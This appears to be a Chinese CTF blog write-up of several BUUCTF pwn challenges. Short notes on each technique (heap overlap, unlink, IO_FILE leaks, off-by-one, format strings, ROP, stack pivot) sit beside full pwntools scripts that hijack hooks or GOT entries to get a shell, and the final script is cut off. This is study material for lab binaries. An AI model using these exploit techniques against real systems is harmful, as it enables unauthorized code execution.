BUUCTF-PWN-第六页writep(32题)

今天期末考试终于完了,中间还🐏了七天没干活,现在可以把时间都放到自己感兴趣的事了。一个月过去了,第六页也抽空做完了,现在发下 wp

npuctf_2020_bad_guy

保护全开的 libc-2.23 的堆题。四个功能齐全,edit 只能使用四次,但是可以溢出写
利用堆块重叠再 stdout 上申请 chunk ,然后就是 IO_FILE leak_libc,在 malloc_hook 上放 one_gadget 了
from pwn import *
from struct import pack
context(os = 'linux', arch = 'amd64', log_level='debug')

#p = process('./pwn')
#p = remote('node4.buuoj.cn', 27562)
elf = ELF('./pwn')
#libc = ELF('glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so')
#libc = ELF('buu/libc-2.23.so')
libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
    gdb.attach(p)
    pause()
def add(index, size, content):
    p.sendlineafter(b'>> ', b'1')
    p.sendlineafter(b'Index :', str(index))
    p.sendlineafter(b'size: ', str(size))
    p.sendafter(b'Content:', content)
def edit(index, content):
    p.sendlineafter(b'>> ', b'2')
    p.sendlineafter(b'Index :', str(index))
    p.sendlineafter(b'size: ', str(len(content)))
    p.sendafter(b'content:', content)
def free(index):
    p.sendlineafter(b'>> ', b'3')
    p.sendlineafter(b'Index :', str(index))
def pwn():
    # fast binattack 
    add(0, 0x10, b'a')
    add(1, 0x70, b'a')
    add(2, 0x60, b'a')
    add(3, 0x10, b'a')
    edit(0, p64(0)*3 + p64(0xf1))
    free(1)
    free(2)
    add(1, 0x70, b'a')
    payload = p64(0)*15 + p64(0x71) + p8(0xdd) + p8(0x65)
    edit(1, payload)

    # IO_FILE leak libc_base
    payload = b'a'*0x33 + p64(0xfbad1800) + p64(0)*3 + p8(0x00) + p8(0x60)
    add(2, 0x60, p8(0xdd))
    add(4, 0x60, payload)
    libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x3c4fe8
    print(' libc_base -> ', hex(libc_base)) 

    # malloc_hook -> one_gadget
    malloc_hook = libc_base + libc.sym['__malloc_hook']
    main_arena_88 = libc_base + libc.sym['__malloc_hook'] + 0x10 + 88
    one_gadget = libc_base + 0xf1147

    payload = p64(0)*15 + p64(0x71) + p64(main_arena_88)*2
    edit(1, payload)
    add(5, 0x60, b'a')
    free(5)
    payload = p64(0)*15 + p64(0x71) + p64(malloc_hook - 0x23)
    edit(1, payload)
    add(5, 0x60, p64(malloc_hook - 0x23))
    add(6, 0x60, b'a'*0x13 + p64(one_gadget))

    # pwn
    p.sendlineafter(b'>> ', b'1')
    p.sendlineafter(b'Index :', str(7))
    p.sendlineafter(b'size: ', str(0x10))
    p.interactive()

try:
    p = remote('node4.buuoj.cn', 27562)
    pwn()
except:
    p.colse()

 wdb_2018_1st_babyheap

libc-2.23 的题目,只没开 PIE,那么应该就是 unlink 了
这里的四个功能齐全,add 只能申请 0x20 大小的 chunk,edit 只能使用三次,free 存在 uaf
这里我在一个 chunk 中的 user data 伪造了一个堆块,然后利用 fast bin attack 申请到该伪造堆块,就能修改某一个堆块的 size 了,那么就有 unsorted bin 了,这里在利用 unlink ,成功申请到 ptr 上,只是 edit 只能使用四次,并且只能写入 0x20 自己,还好 edit_times 和 prt 相邻,于是申请到 ptr[7] - [9] ~ edit_time ,刚好用三次 edit 修改了 edit_times 。然后由于能够修改 ptr [] ,就是常规的手法了

 

 

from pwn import *
from struct import pack
context(os = 'linux', arch = 'amd64', log_level='debug')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 27309)
elf = ELF('./pwn')
#libc = ELF('glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so')
#libc = ELF('buu/libc-2.23.so')
libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
    gdb.attach(p)
    pause()
def add(index, content):
    p.sendlineafter(b'Choice:', b'1')
    p.sendlineafter(b'Index:', str(index))
    p.sendlineafter(b'Content:', content)
def edit(index, content):
    p.sendlineafter(b'Choice:', b'2')
    p.sendlineafter(b'Index:', str(index))
    p.sendlineafter(b'Content:', content)
def show(index):
    p.sendlineafter(b'Choice:', b'3')
    p.sendlineafter(b'Index:', str(index))
def free(index):
    p.sendlineafter(b'Choice:', b'4')
    p.sendlineafter(b'Index:', str(index))

# add unsorted bin and unlink
add(0, p64(0)*3 + p64(0x31)[:-1])
add(1, b'a')
add(2, b'a')
add(3, b'a')
add(4, b'a')
free(3)
free(4)
show(4)
heap_base = u32(p.recv(4).ljust(4, b'\x00')) - 0x90
print(' heap_base -> ', hex(heap_base))
edit(4, p64(heap_base + 0x20))
add(5, b'a')
add(6, p64(0x20) + p8(0x90))
free(0)
ptr = 0x602060
add(7, p64(0) + p64(0x21) + p64(ptr - 0x18) + p64(ptr - 0x10)[:-1])
free(1)

# change edit_times and leak libc_base 
edit(0, p64(0)*3 + p64(0x602098)[:-1])
edit(0, p64(ptr) + p64(elf.got['atoi'])*2 + p64(0xffff)[:-1])

show(9)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['atoi']
print(' libc_base -> ', hex(libc_base))

# free_hook -> system
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
edit(7, p64(free_hook)[:-1])
edit(0, p64(system)[:-1])

# pwn
edit(3, b'/bin/sh\x00')
free(3)
p.interactive()

 

 sctf_2019_one_heap

保护全开,libc-2.27-x64 的堆题
只有两个功能,add 和 free,add只能申请 0x7f 以下的 chunk ,free 存在 uaf 只能使用四次。
由于存在 tcache bin attack ,所以只要知道 libc_base ,那么 get shell 还是毕竟容易的,所以怎么活得 libc_base 是难点
那么明显就是 IO_FILE 来 leak libc_base 了,这里可以利用 dup 来申请 tcache struct 的地方,修改 0x250 代表的 bin 的个数大于等于 7 ,那么再 free 就能把 tcache struct 的 chunk 放入 unsorted bin 了,接下来就是利用 add 把 main_arena_xx 的数据推到我们可以申请的堆块的链表头中,然后就是 IO_FILE leak libc base 和 malloc_hook -> one_gadget
不过这里有个技巧,那么就是先 add 0x50,再 add 0x10 大小的堆块,再 free,这样能把 main_arena_xx 的数据推到 0x70 的 bin 的链表头中,之后泄露 libc_base ,再 add 0x10 大小的 chunk 时,就能申请回来,接着修改 0x60 的 bin 的链表头中的数据,方便我们修改 malloc_hook
1/256 的概率啊,调试的时候真的花了很多时间,后来真的被搞烦了,直接抄一个 wp
exp
from pwn import *
from struct import pack
context(os = 'linux', arch = 'amd64', log_level='debug')

#p = process('./pwn')
#p = remote('node4.buuoj.cn', 27487)
#elf = ELF('./pwn')
#libc = ELF('glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
    gdb.attach(p)
    pause()
def add(size, content):
    p.sendlineafter(b'choice:', b'1')
    p.sendlineafter(b'size:', str(size))
    p.sendlineafter(b'content:', content)
def free():
    p.sendlineafter(b'choice:', b'2')

def pwn():
    # leak libc_base
    add(0x70, b'a') #index 0
    free() #1
    free() #2
    add(0x70, p8(0x10) + p8(0xa0)) #index 1
    add(0x70, b'') #index 2
    add(0x70, b'\x07'*0x40)
    free() #3
    
    add(0x50, b'a')
    add(0x10, p64(0) + p16(0x7760))
    free() #4
    
    add(0x60, p64(0xfbad1887) + p64(0)*3 + p8(0x58))
    libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x3e82a0
    print(' libc_base -> ', hex(libc_base))
    
    # malloc_hook + realloc -> one_gadget
    malloc_hook = libc_base + libc.sym['__malloc_hook']
    realloc = libc_base + libc.sym['realloc']
    one_gadget = libc_base + 0x4f322
    add(0x10, p64(malloc_hook - 0x8))
    add(0x50, p64(one_gadget) + p64(realloc + 8))
    
    # pwn
    add(0x10, b'a')
    p.interactive()

count = 0
while(1):
    try:
        p = remote('node4.buuoj.cn', 27487)
        elf = ELF('./pwn')
        libc = ELF('buu/libc-2.27-x64.so')
        pwn()
    except:
        p.close()
        count += 1
        print("=============================================>", count)
        sleep(0.5)

 

 mrctf2020_easyrop

一道比较简单的题
但是本地和远程不一样,ubuntu 22 和 ubuntu 16 也不一样,有点坑

 

from pwn import *
from struct import pack
context(os = 'linux', arch = 'amd64', log_level='debug')

p = process('./pwn')
#p = remote('node4.buuoj.cn', 29659)
#elf = ELF('./pwn')
#libc = ELF('glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
    gdb.attach(p)
    pause()

#gdb.attach(p, 'b *0x400822')

p.sendline(b'2')
sleep(1)
p.send(b'a'*0x300)


p.sendline(b'7')
sleep(1)
p.send(b'a'*0x12 + p64(0x40072A))



p.interactive()

 

 gwctf_2019_jiandan_pwn1

 

明显的栈溢出,但是索引也在栈上,并且在 rbp 之前,所以溢出到 索引 的时候要注意控制好 索引 的值
from pwn import *
from struct import pack
context(os = 'linux', arch = 'amd64', log_level='debug')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 25696)
elf = ELF('./pwn')
#libc = ELF('glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so')
#libc = ELF('buu/libc-2.23.so')
libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
    gdb.attach(p)
    pause()

#gdb.attach(p, 'b *0x400780')

rdi = 0x400843
payload = b'b'*0x10c + p32(0x110) + b'a'*5 + p64(rdi) + p64(elf.got['puts']) + p64(elf.sym['puts']) + p64(elf.sym['main'])
p.sendlineafter(b'fun!\n', payload)

libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['puts']
print(' libc_base -> ', hex(libc_base))

system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
payload =  b'b'*0x10c + p32(0x110) + b'a'*5 + p64(rdi) + p64(binsh) + p64(system)
p.sendlineafter(b'fun!\n', payload)
p.interactive()

 

0ctf_2018_heapstorm2

保护全开的 libc-.2.23 堆题,四个功能齐全,但是 show 功能需要满足特殊条件才能实现 show

并且程序利用 mallopt 禁用了 fastbin ,用了 异或 的方法来表示堆块的地址和大小

漏洞点则是 off by null

这里的 strcpy 最后会复制一个 \x00 ,这里我是没看出来的
不过汇编语言确实是这样的

 

 

 

from pwn import *
from struct import pack
context(os = 'linux', arch = 'amd64', log_level='debug')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 29506)
elf = ELF('./pwn')
#libc = ELF('glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so')
#libc = ELF('buu/libc-2.23.so')
libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
    gdb.attach(p)
    pause()
def add(size):
    p.sendlineafter(b'mand: ', b'1')
    p.sendlineafter(b'ize: ', str(size))
def edit(index, content):
    p.sendlineafter(b'mand: ', b'2')
    p.sendlineafter(b'ndex: ', str(index))
    p.sendlineafter(b'ize: ', str(len(content)))
    p.sendafter(b'tent: ', content)
def free(index):
    p.sendlineafter(b'mand: ', b'3')
    p.sendlineafter(b'ndex: ', str(index))
def show(index):
    p.sendlineafter(b'mand: ', b'4')
    p.sendlineafter(b'ndex: ', str(index))

def pwn():
    add(0x18) #index 0
    add(0x508) #index 1
    add(0x18) #index 2
    edit(1, b'a'*0x4f0 + p64(0x500))

    add(0x18) #index 3
    add(0x508) #index 4
    add(0x18) #index 5
    edit(4, b'a'*0x4f0 + p64(0x500))
    add(0x18) #index 6

    free(1)
    edit(0, b'a'*(0x18 - 12))

    add(0x18) #index 1
    add(0x4d8) #index 7
    free(1)
    free(2)

    add(0x38) #index 1
    add(0x4e8) #index 2

    # second
    free(4)
    edit(3, b'a'*(0x18 - 12))
    add(0x18) #index 4
    add(0x4d8) #index 8
    free(4)
    free(5)

    add(0x48) #index 4
    free(2)
    add(0x4e8) #index 2
    free(2)

    storage = 0x13370000 + 0x800
    fake_chunk = storage - 0x20

    p1 = p64(0)*2 + p64(0) + p64(0x4f1) #size
    p1 += p64(0) + p64(fake_chunk)      #bk
    edit(7, p1)

    p2 = p64(0)*4 + p64(0) + p64(0x4e1) #size
    p2 += p64(0) + p64(fake_chunk+8)    #bk, for creating the "bk" of the faked chunk to avoid crashing when unlinking from unsorted bin
    p2 += p64(0) + p64(fake_chunk-0x18-5)   #bk_nextsize, for creating the "size" of the faked chunk, using misalignment tricks
    edit(8, p2)

    try:
        add(0x48) # index 2
    except:
        p.close()
    
    payload = p64(0)*5 + p64(0x13377331) + p64(storage)
    edit(2, payload)
    payload = p64(0)*3 + p64(0x13377331) + p64(storage) + p64(0x1000) + p64(storage - 0x20 + 0x3) + p64(8)
    edit(0, payload)
    # leak heap_addr 
    show(1)
    p.recvuntil(b': ')
    heap_addr = u64(p.recv(8))
    print(' heap_addr -> ', hex(heap_addr))
    
    # leak libc_base
    payload = p64(0)*3 + p64(0x13377331) + p64(storage) + p64(0x1000) + p64(heap_addr + 0x10) + p64(8)
    edit(0, payload)
    show(1)
    p.recvuntil(b': ')
    main_arena_xx = u64(p.recv(8))
    libc_base = main_arena_xx - 0x3c4b78
    print(' libc_base -> ', hex(libc_base))

    # free_hook -> system
    edit(1, b'/bin/sh\x00')
    free_hook = libc_base + libc.sym['__free_hook']
    system = libc_base + libc.sym['system']
    
    payload = p64(0)*3 + p64(0x13377331) + p64(free_hook) + p64(0x8) + p64(heap_addr + 0x10)
    edit(0, payload)
    edit(0, p64(system))
    
    # pwn
    free(1)
    p.interactive()

while(1):
    sleep(1)
    pwn()

 

[GKCTF 2021]checkin

s1 在栈上,buf 只能溢出到 rbp ,明显的栈迁移,这里必须控制 sub_401974 返回 0,是一个 md5 加密,实在看不出来,不然会 exit 退出,我们得控制程序执行到 leave ; ret ,所以不能进入 exit 。
另外的就是 system('/bin/sh') 不知道为什么不能用,这里用 one_gadget 了
from pwn import *
from struct import pack
context(os = 'linux', arch = 'amd64', log_level='debug')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 26893)
elf = ELF('./pwn')
#libc = ELF('glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
    gdb.attach(p)
    pause()

#gdb.attach(p, 'b *0x401973')

bss = 0x602400
ret = 0x400641
rdi = 0x401ab3

payload = b'admin\x00\x00\x00' + p64(rdi) + p64(elf.got['puts']) + p64(0x4018B5)
p.sendafter(b'Sign-in\n', payload)
payload = b'admin\x00\x00\x00'*4 + p64(bss)
p.sendafter(b'Pass\n', payload)

libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['puts']
print(' libc_base -> ', hex(libc_base))

binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
system = libc_base + libc.sym['system']
one_gadget = libc_base + 0x4527a

#payload = b'admin\x00\x00\x00' + p64(rdi) + p64(binsh) + p64(system)
payload = b'admin\x00\x00\x00'*3 + p64(one_gadget)
p.sendafter(b'Sign-in\n', payload)
payload = b'admin\x00\x00\x00'*4 + p64(bss + 0x10)
p.sendafter(b'Pass\n', payload)
p.interactive()

 

sleepyHolder_hitcon_2016

由于没有开启PIE,并且堆指针存储在bss上,因此unlink是比较好的方法。但是不能溢出,
而要想成功double free,仅一个fastbin的chunk不行。Fastbin对double free的检查机制是仅仅检查fastbin的头chunk是否与当前要释放的这个相同size的chunk地址一样。
因此,我们可以利用malloc_consolidate,来将fastbin的chunk从fastbin里卸下来,触发malloc_consolidate的条件是申请一个大的堆,功能里正好有这个功能。malloc_consolidate的功能就是把chunk从fastbin取出,相邻的chunk进行合并,并且会设置下一个chunk的prev_inuse位为0。当chunk从fastbin里取出后,我们就可以在再一次free这个chunk了,此时,fastbin里没有形成循环链表,一个chunk在fastbin,一个chunk在unosrted bin。关键的一点是下一个chunk的prev_inuse已经清零,我们将fastbin里的那个chunk申请回来,伪造一个chunk,然后释放下一个unsorted bin范围的chunk,就会发生unlink。
————————————————
版权声明:本文为CSDN博主「ha1vk」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
from pwn import *
from struct import pack
context(os = 'linux', arch = 'amd64', log_level='debug')

p = process('./pwn')
#p = remote('node4.buuoj.cn', 29697)
elf = ELF('./pwn')
#libc = ELF('glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so')
#libc = ELF('buu/libc-2.23.so')
libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
    gdb.attach(p)
    pause()
def add(idx, content):
    p.sendlineafter(b'Renew secret\n', b'1')
    p.sendlineafter(b'\n', str(idx))
    p.sendafter(b'secret: \n', content)
def free(idx):
    p.sendlineafter(b'Renew secret\n', b'2')
    p.sendlineafter(b'Big secret\n', str(idx))
def edit(idx, content):
    p.sendlineafter(b'Renew secret\n', b'3')
    p.sendlineafter(b'\n', str(idx))
    p.sendafter(b'secret: \n', content)

# unlink
add(1, b'a')
add(2, b'b')
free(1)

add(3, b'a')

ptr = 0x6020D0
free(1)
payload = p64(0) + p64(0x21) + p64(ptr - 0x18) + p64(ptr - 0x10) + p64(0x20)
add(1, payload)
free(2)

# leak libc_base
payload = p64(0) + p64(ptr - 0x10) + p64(0)*2 + p64(1)
edit(1, payload)
payload = p64(elf.got['atoi']) + p64(elf.got['free'])*2 + p64(1)*3
edit(2, payload)
edit(1, p64(elf.sym['puts']))
free(2)

libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['atoi']
print(' libc_base -> ', hex(libc_base))

# free -> system
system = libc_base + libc.sym['system']
edit(1, p64(system))

# pwn
add(2, b'/bin/sh\x00')
free(2)
p.interactive()

 actf_2019_onerepeater

NX 没开的格式化字符串,会给栈的 buf 地址
from pwn import *
from struct import pack
context(os = 'linux', arch = 'i386', log_level='debug')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 26980)
elf = ELF('./pwn')
#libc = ELF('glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
    gdb.attach(p)
    pause()

p.sendlineafter(b'3) Exit\n', b'1')
buf = int(p.recv(8), 16)
print(' buf -> ', hex(buf))

p.send(b'%6$p')
p.sendlineafter(b'3) Exit\n', b'2')
ret = int(p.recv(10), 16) - 0x42c
print(' ret -> ', hex(ret))

p.sendlineafter(b'3) Exit\n', b'1')
payload = fmtstr_payload(16, {ret:buf + 0x100})
payload = payload.ljust(0x100, b'\x00') + asm(shellcraft.sh())
p.send(payload)
p.sendlineafter(b'3) Exit\n', b'2')

p.interactive()

 [OGeek2019]bookmanager

libc-2.23 的 保护全开的 堆题,存在 off by one 漏洞
做了几个小时。。

功能比较多,主要是模拟一本书,为书添加章和节和内容,也就是三个 add ,其中 add section 时候会泄露堆块地址,虽然我没用到
比较坑的是,update 功能只能对第一章的节和内容才有用,,,调试了好久才发现。然后是 update 的时候会用 memset 清空一堆范围的内存,还好后面修改 free_hook 为 system 的时候程序没崩溃。。。。
程序在存在章、节、内容的时候,内存布局是这样的

 

由于章和节的堆块大小是固定的,所以要通过释放内容的堆块(大于等于 0x80) 来 leak libc_base ,这里通过修改节名然后触发 off by one 来修改后一字节,使其指向 unsorted bin chunk(每个节只能对应一个内容的堆块)
然后就是修改 章的堆块中存放 节的地址,使其指向 free_hook ,然后就是常规流程了
from pwn import *
from struct import pack
context(os = 'linux', arch = 'i386', log_level='debug')

p = process('./pwn')
#p = remote('node4.buuoj.cn', 29862)
elf = ELF('./pwn')
#libc = ELF('glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
    gdb.attach(p)
    pause()
def add_chapter(name):
    p.sendlineafter(b'choice:', b'1')
    p.sendafter(b'name:', name)
def add_section(name, section):
    p.sendlineafter(b'choice:', b'2')
    p.sendafter(b'add into:', name)
    p.recvuntil(b'0x')
    a = int(p.recv(14), 16)
    p.sendafter(b'name:', section)
    return a
    
def add_text(name, size, content):
    p.sendlineafter(b'choice:', b'3')
    p.sendlineafter(b'add into:', name)
    p.sendlineafter(b'write:', str(size))
    p.sendafter(b'Text:', content)
def free_chapter(name):
    p.sendlineafter(b'choice:', b'4')
    p.sendafter(b'name:', name)
def free_section(name):
    p.sendlineafter(b'choice:', b'5')
    p.sendafter(b'name:', name)
def free_text(name):
    p.sendlineafter(b'choice:', b'6')
    p.sendafter(b'name:', name)
def show():
    p.sendlineafter(b'choice:', b'7')
def edit_cs(types, old_name, new_name):
    p.sendlineafter(b'choice:', b'8')
    p.sendafter(b'Text):', types)
    p.sendafter(b'name:', old_name)
    p.sendafter(b'name:', new_name)
def edit_t(name, text):
    p.sendlineafter(b'choice:', b'8')
    p.sendafter(b'Text):', b'Text')
    p.sendafter(b'name:', name)
    p.sendafter(b'Text:', text)

# init
p.sendafter(b'create: ', b'/bin/sh\x00')

# leak heap_addr
add_chapter(b'1-chapter')
heap_addr = add_section(b'1-chapter', b'1-1-section') - 0x130
print(' heap_addr -> ', hex(heap_addr))

# leak libc_base
add_text(b'1-1-section', 0x80, b'a')
add_text(b'1-1-section', 0x9f, b'a')
add_text(b'1-1-section', 0x10, b'a')
edit_cs(b'Section', b'1-1-section', b'xshhc\x00\x00\x00' + b'\x00'*0x19)
free_text(b'xshhc')

add_text(b'xshhc', 0x10, b'a'*8)
show()
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 88 - 0x10 - libc.sym['__malloc_hook'] - 0xa0

print(' libc_base -> ', hex(libc_base))

# free_hook -> system

free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
add_section(b'1-chapter', b'1-2-section')
add_section(b'1-chapter', b'1-3-section')

add_text(b'1-3-section', 0x10, b'a')
edit_cs(b'Section', b'1-3-section', b'stopstop' + b'\x00'*0x18 + b'\x40')
edit_t(b'stopstop', p64(free_hook) + p64(0x20))
edit_t(b'1-2-section', p64(system))

# pwn
edit_t(b'xshhc', '/bin/sh\x00')
free_text(b'xshhc')
p.interactive()

 

 bbctf_2020_fmt_me

格式化字符串漏洞

 

get_int 中有 atoi 函数,所以要把 atoi -> system_plt + 6 system_got -> main

 

from pwn import *
from struct import pack
context(os = 'linux', arch = 'amd64', log_level='debug')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 29453)
elf = ELF('./pwn')
#libc = ELF('glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
    gdb.attach(p)
    pause()

#gdb.attach(p, 'b *0x4012DA')
atoi = 0x404058
system_plt = elf.plt['system']
system_got = elf.got['system']
main = 0x4011f7
# atoi -> system_plt + 6   system_got -> main
 
p.sendlineafter(b'Choice: ', b'2')
payload = fmtstr_payload(6, {atoi: system_plt + 6, system_got : main})
p.sendlineafter(b'you a gift.', payload)

p.sendlineafter(b'Choice: ', b'/bin/sh\x00')
p.interactive()

 starctf_2019_girlfriend

 保护全开的 libc-2.23 ,漏洞点是 uaf,没有 edit 功能

没有 edit 那么就要利用 dup 了
from pwn import *
from struct import pack
context(os = 'linux', arch = 'amd64', log_level='debug')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 29876)
elf = ELF('./pwn')
#libc = ELF('glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so')
#libc = ELF('buu/libc-2.23.so')
libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
    gdb.attach(p)
    pause()
def add(size, name, call):
    p.sendlineafter(b'choice:', b'1')
    p.sendlineafter(b'name\n', str(size))
    p.sendafter(b'name:', name)
    p.sendafter(b'call:', call)
def show(index):
    p.sendlineafter(b'choice:', b'2')
    p.sendlineafter(b'index:', str(index))
def free(index):
    p.sendlineafter(b'choice:', b'4')
    p.sendlineafter(b'index:', str(index))

def pwn(leak):
    # leak libc_base
    add(0x80, b'a', b'b') #index 0
    add(0x10, b'a'*0xc, b'b'*0xc) #index 1
